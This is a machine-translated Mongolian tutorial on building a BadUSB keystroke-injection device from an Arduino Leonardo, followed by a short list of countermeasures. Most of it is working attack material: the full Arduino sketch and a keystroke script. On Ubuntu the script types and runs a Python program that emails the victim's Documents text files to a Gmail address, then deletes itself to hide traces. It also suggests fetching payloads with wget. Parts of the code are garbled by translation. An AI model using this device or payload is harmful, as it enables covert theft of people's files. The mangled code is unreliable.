Агуулгын хүснэгт:

Arduino Keyboard Exploit Demo (HID) ба урьдчилан сэргийлэх: 4 алхам (зурагтай)
Arduino Keyboard Exploit Demo (HID) ба урьдчилан сэргийлэх: 4 алхам (зурагтай)

Видео: Arduino Keyboard Exploit Demo (HID) ба урьдчилан сэргийлэх: 4 алхам (зурагтай)

Видео: Arduino Keyboard Exploit Demo (HID) ба урьдчилан сэргийлэх: 4 алхам (зурагтай)
Видео: 💀 BADUSB в действии...#arduino #cybersecurity #badusb 2024, Долдугаар сарын
Anonim
Image
Image
Төхөөрөмжийг бүтээх
Төхөөрөмжийг бүтээх

Энэ төсөлд бид HID (humain интерфэйс төхөөрөмж) ашиглан USB халдлагыг дуурайхын тулд arduino leonardo ашиглах болно.

Би энэ гарын авлагыг хакеруудад туслахын тулд биш харин жинхэнэ аюул, өөрийгөө хэрхэн эдгээр аюулаас хамгаалах талаар үзүүлэх зорилгоор бүтээсэн болно. Энэ төхөөрөмж нь хакеруудын хувьд ямар ч платформ дээр ашиглах боломжтой төхөөрөмж биш бөгөөд энэ нь үзэл баримтлалын нарийвчилсан нотолгоо юм.

Бид дараахь зүйлийг сурах болно

- гарыг дуурайхын тулд arduino leonardo -ийг хэрхэн ашиглах талаар

- SD картнаас өгөгдлийг хэрхэн унших талаар

- файлуудыг сканнердаж, имэйлээр илгээдэг питон скриптийг хэрхэн үүсгэх

- USB хакердах төхөөрөмжөөс өөрийгөө хэрхэн хамгаалах талаар

Алхам 1: Материал

Эд анги:

1. Ардуино Леонардо

2. микро USB карт уншигч

3. хэдэн GB хэмжээтэй SD карт

4. ийм товчлуур (VCC, Ground ба дохио)

5. эмэгтэй-эрэгтэй, эмэгтэй-эмэгтэй холбогч кабель

6. микро USB -ээс USB кабель

Алхам 2: Төхөөрөмжийг бүтээх

Төхөөрөмжийг бүтээх
Төхөөрөмжийг бүтээх

Барилгын зааварчилгааны өмнө ажлын зарчмыг авч үзье

Ардуино Леонардо нь хүний интерфэйс төхөөрөмж (HID) шиг ажиллах чадвартай тул хулгана, гарыг дуурайж чаддаг. Бид энэ боломжийг ашиглан терминал (UBUNTU linux дээр) нээж, хэрэглэгчийн гэрийн хавтас доторх /Documents фолдерт.txt файлуудыг хуулж, хэн нэгэнд имэйлээр илгээдэг жижиг скрипт бичих болно. Хэрэв та илүү дэлгэрэнгүй мэдээлэл авахыг хүсвэл дараагийн алхамыг шалгаарай.

Энэ бол демо төхөөрөмж учраас бүх зүйл маш энгийн тул бид юу ч гагнахгүй.

Барилгын заавар

Эхлэхээсээ өмнө хавсаргасан файлуудыг шалгаж, би fritzing схем, шаардлагатай бүх файлыг хавсаргасан болно

1. Бүрэлдэхүүн хэсгүүдийг угсарна уу

* микро USB кабелийг arduino -д залгаарай

* түлхүүр шилжүүлэгчийг arduino руу холбоно уу (газардуулга, vcc ба гаралтын модулийг D8 руу холбоно уу)

* карт уншигчаа arduino руу холбоно уу (ICSP толгой ашиглан). Ардуино Леонардод ICSP толгой нь дижитал тээглүүрт холбогдоогүй тул та карт уншигчийг ICSP толгой руу холбох хэрэгтэй болно. Та ICSP-ийн зарим зургийг эндээс олж болно: https://learn.sparkfun.com/tutorials/installing-an…. SS зүүг дижитал зүү 10 руу холбоно уу

2. arduino кодыг аваарай, та github дээр миний arduino репозиторыг хуулбарлаж болно: https://github.com/danionescu0/arduino, projects/keyboard_exploit руу орж эсвэл доороос аваарай.

#"Keyboard.h" оруулна уу

#include "SPI.h" #include "SD.h" String filenameOnCard = "hack.txt"; String sleepCommandStartingPoint = "Унтах::"; String commandStartingPoint = "Command::"; int delayBetweenCommands = 10; const int buttonPin = 8; const int chipSelect = 10; int previousButtonState = HIGH; void setup () {pinMode (buttonPin, INPUT); Цуваа эхлэх (9600); Keyboard.begin (); if (! SD.begin (chipSelect)) {Serial.println ("Карт амжилтгүй болсон, эсвэл байхгүй байна!"); буцах; }} void loop () {int buttonState = digitalRead (buttonPin); if ((buttonState! = previousButtonState) && (buttonState == HIGH)) {sdFileToKeyboard (); Serial.println ("Байршуулсан!"); саатал (500); } өмнөхButtonState = buttonState; } void sdFileToKeyboard () {File dataFile = SD.open (filenameOnCard); if (! dataFile) {Serial.println ("Заасан файлын нэр SD карт дээр байхгүй, filenameOnCard -ийг шалгана уу!"); } Мөр мөр; while (dataFile.available ()) {line = dataFile.readStringUntil ('\ n'); Serial.println (мөр); sendToKeyboard (мөр); } dataFile.close (); } void sendToKeyboard (String line) {String workingLine = мөр; if (workingLine.indexOf (sleepCommandStartingPoint)! = -1) {sleepFor (шугам); буцах; } if (workingLine.indexOf (commandStartingPoint) == -1) {Serial.print ("Текст:"); Serial.println (мөр); Keyboard.println (шугам); EnterEnter () дарна уу; буцах; } Serial.println ("Command:"); int charPosition = commandStartingPoint.length (); int lineLength = line.length (); workingLine += ","; while (workingLine! = "") {workingLine = workingLine.substring (charPosition); Serial.print ("WorkingLine:"); Serial.println (workingLine); int specialCommandDelimiterPosition = workingLine.indexOf (","); String тушаал = workingLine.substring (0, specialCommandDelimiterPosition); charPosition = specialCommandDelimiterPosition + 1; if (command! = "") {Serial.print ("Command found:"); Serial.println (command); Keyboard.press (getCommandCode (тушаал)); саатал (delayBetweenCommands); }} Keyboard.releaseAll (); саатал (delayBetweenCommands); } void pressEnter () {Keyboard.press (KEY_RETURN); Keyboard.releaseAll (); } void sleepFor (String line) {int sleepAmount = line.substring (sleepCommandStartingPoint.length (), line.length ()). toInt (); Serial.print ("Sleeping for:"); Serial.println (sleepAmount); саатал (унтах хэмжээ); } char getCommandCode (String текст) {char textCharacters [2]; text.toCharArray (текстийн тэмдэгтүүд, 2); char код = textCharacters [0]; код = (текст == "KEY_LEFT_CTRL")? KEY_LEFT_CTRL: код; код = (текст == "KEY_LEFT_SHIFT")? KEY_LEFT_SHIFT: код; код = (текст == "KEY_LEFT_ALT")? KEY_LEFT_ALT: код; код = (текст == "KEY_UP_ARROW")? KEY_UP_ARROW: код; код = (текст == "KEY_DOWN_ARROW")? KEY_DOWN_ARROW: код; код = (текст == "KEY_LEFT_ARROW")? KEY_LEFT_ARROW: код; код = (текст == "KEY_RIGHT_ARROW")? KEY_RIGHT_ARROW: код; код = (текст == "KEY_RIGHT_GUI")? KEY_RIGHT_GUI: код; код = (текст == "KEY_BACKSPACE")? KEY_BACKSPACE: код; код = (текст == "KEY_TAB")? KEY_TAB: код; код = (текст == "KEY_RETURN")? KEY_RETURN: код; код = (текст == "KEY_ESC")? KEY_ESC: код; код = (текст == "KEY_INSERT")? KEY_INSERT: код; код = (текст == "KEY_DELETE")? KEY_DELETE: код; код = (текст == "KEY_PAGE_UP")? KEY_PAGE_UP: код; код = (текст == "KEY_PAGE_DOWN")? KEY_PAGE_DOWN: код; код = (текст == "KEY_HOME")? KEY_HOME: код; код = (текст == "KEY_END")? KEY_END: код; код = (текст == "KEY_CAPS_LOCK")? KEY_CAPS_LOCK: код; код = (текст == "KEY_F1")? KEY_F1: код; код = (текст == "KEY_F2")? KEY_F2: код; код = (текст == "KEY_F3")? KEY_F3: код; код = (текст == "KEY_F4")? KEY_F4: код; код = (текст == "KEY_F5")? KEY_F5: код; код = (текст == "KEY_F6")? KEY_F6: код; код = (текст == "KEY_F7")? KEY_F7: код; код = (текст == "KEY_F8")? KEY_F8: код; код = (текст == "KEY_F9")? KEY_F9: код; код = (текст == "KEY_F10")? KEY_F10: код; код = (текст == "KEY_F11")? KEY_F1: код; код = (текст == "KEY_F12")? KEY_F2: код;

буцах код;

}

3. Кодыг arduino -д байршуулаад 9600 baud rate, цуваа порт болон arduino leonardo -г сонгохоо мартуузай

4. SD картыг FAT16 эсвэл FAT32 ашиглан форматлах

5. Хэрэв та github репо -г дээрээс хуулбарласан бол hack.txt файлыг картан дээр хуулна уу, хэрэв тийм биш бол доор жагсаасан болно

Command:: KEY_LEFT_CTRL, KEY_LEFT_ALT, tSleep:: 500 vi hack.py Sleep:: 300 Command:: KEY_INSERT smtplib импортын бөмбөрцөг, os.path имэйлээс импортлох os.path имэйлээс MIMEMultipart имэйлээс имэйлээс MIMEBase импортлох MIMEBase. MIMEText имэйлээс MIMEText импортлох

smtp_user = 'sender_gmail_address'

smtp_pass = 'sender_gmail_password' to_address = 'хүлээн авагчийн_хаяг' scan_documents_location = 'Баримт бичиг'

subject = body = 'Хакердсан компьютерийн файлууд'

header = 'Хэнд: {0} nХаанаас: {1} nСэдэв: {2} n'.format (хаяг, хаяг, хэрэглэгчийн, сэдэв)

def sendMail (to, subject, text, files = ):

msg = MIMEMultipart () msg ['From'] = smtp_user msg ['To'] = COMMASPACE.join (to) msg ['Date'] = formatdate (localtime = True) msg ['Subject'] = subject msg.attach Файл доторх файлын хувьд add_header ('Content-Disposition', 'attachment; filename = " % s"' % os.path.basename (файл)) msg.attach (хэсэг)

сервер = smtplib. SMTP ('smtp.gmail.com:587')

server.starttls () server.login (smtp_user, smtp_pass) server.sendmail (smtp_user, to, msg.as_string ()) server.quit ()

sendMail ([to_address], сэдэв, бие, glob.glob ("{0}/{1}/*. txt". формат (өргөтгөгч ("~"), scan_documents_location)))

Унтах:: 50 Command:: KEY_ESC Унтах:: 100: x Унтах:: 500 nohup python hack.py & Унтах:: 700 rm -rf hack.py Унтах:: 400 Тушаал:: KEY_LEFT_ALT, KEY_F4

6. Дараах мөрүүдийг засварлана уу

smtp_user = 'sender_email_addr'

smtp_pass = 'sender_password' to_address = 'хүлээн авагчийн_хаяг'

Мөн имэйл хаягаараа солино уу

7. Картыг аваад arduino карт уншигч руу оруулна уу

Алхам 3: Энэ нь хэрхэн яаж ажилладаг талаар дэлгэрэнгүй тайлбарласан болно

Довтолгоо хэрхэн ажиллах вэ:

1. Товчлуурыг дарахад леонардо sd карт уншигч ашиглан sd картыг уншина. Түлхүүр болон товчлуурын хослолыг агуулсан тусгай файл картанд байх болно. Файлын нэр нь "hack.txt" юм.

Файл нь түүхий текст агуулж болох бөгөөд энэ нь яг байгаа шиг гар руу дамжих болно.

Мөн "Унтах::" ба "Тушаал::" гэх мэт тусгай командуудыг агуулж болно.

Ийм мөр:

Унтах:: 200 гэдэг нь 200 мс унтах гэсэн үг юм

Ийм мөр:

Command:: KEY_LEFT_CTRL, KEY_LEFT_ALT, t гэдэг нь зүүн ctrl дарагдсан, зүүн alt дарагдсан, t дарагдсан, бүгдийг сулласан гэсэн үг юм.

Та бүх тусгай түлхүүрүүдийг эндээс шалгаж болно:

2. Леонардо мөр мөр бүр уншиж, тушаалуудыг тайлбарлаж, гар дээрх товчлууруудыг дууриах болно. "Hack.txt" файл нь дараах үүргийг гүйцэтгэдэг түлхүүрүүдийн хослолыг агуулдаг (UBUNTU linux -ийн хувьд):

a. терминал нээнэ (CTRL + ALT + T)

б. vi ашиглан python файл нээх ("vi hack.py" гэж бичдэг)

c. питон скрипт бичдэг бөгөөд энэ нь баримт бичгийн үндсэн хавтас доторх бүх текст файлуудыг цуглуулж, заасан gmail хаяг руу илгээдэг.

d. файлыг арын дэвсгэр дээр ажиллуулдаг ("nohup python hack.py &")

д. файлыг устгадаг (rm -rf hack.py)

f. терминалыг хаадаг (ALT + F4)

Энэ бүхэн хэдхэн секундын дотор гүйж, ул мөр үлдээдэггүй.

Сайжруулалт ба алдааг олж засварлах

* Терминал нээсний дараа би питон файл бичиж байгааг та анзаарсан байх. Үүнийг хийх илүү сайн арга бол үүнийг хаа нэг газар байршуулж, "wget some_url" командыг ашиглан татаж аваад дараа нь нэрээ hack.py болгон өөрчлөх явдал юм.

* Мөн бид зорилтот үйлдлийн системд зориулсан бэлэн програмыг татаж авах эсвэл ажиллуулах боломжтой

* wifi -ийг модульд нэмж, хакердахыг WIFI -ээр дамжуулан байршуулах боломжтой

* та arduino micro -ийг ашиглаж болно (энэ нь хамаагүй жижиг), дээр нь ашиглалтын кодыг суулгаж (жижиг болгохын тулд)

Хязгаарлалт

1. Дуураймал төхөөрөмж (гар ба хулгана) -д ямар ч санал хүсэлт байдаггүй тул бид командыг гаргасны дараа юу болохыг мэдэхгүй байна. Жишээлбэл, би терминал нээх тушаал өгч байгаа боловч яг хэзээ нээгдэхийг мэдэхгүй байна, тиймээс дараа бичсэн тэмдэгтүүдийг алдахгүйн тулд дурын хоцролтыг зааж өгөх хэрэгтэй.

2. Бид USB порт руу нэвтрэх эрхгүй байх эсвэл ямар нэгэн зүйл суулгах зөвшөөрөлгүй байх зэрэг зөвшөөрлийн асуудалтай тулгарч магадгүй юм

3. Бичих хурд нь Леонардод тийм ч сайн биш байна

4. Зөвхөн зорилтот үйлдлийн систем дээр ажиллах болно (манай тохиолдолд UBUNTU linux)

Дараагийн алхамд манай компьютерийг хакердахаас урьдчилан сэргийлэхийн тулд энэхүү хязгаарлалтыг ашиглах арга замыг хайж олох болно

Алхам 4: Эсрэг арга хэмжээ

1. USB портуудыг идэвхгүй болгох

-цонхны хувьд та энэ хичээлийг үзэх боломжтой:

2. USB төхөөрөмжийг цагаан жагсаалтад оруулах:

- цонхны хувьд:

2. Та хол байхгүй үед компьютераа түгж

3. Root хэлбэрээр нэвтрэх хэрэггүй (ямар нэгэн зүйл суулгахын тулд нууц үг оруулах шаардлагатай)

4. Өөрийгөө шинэчилж байгаарай (автомат шинэчлэлтүүд асаалттай)

Зөвлөмж болгож буй: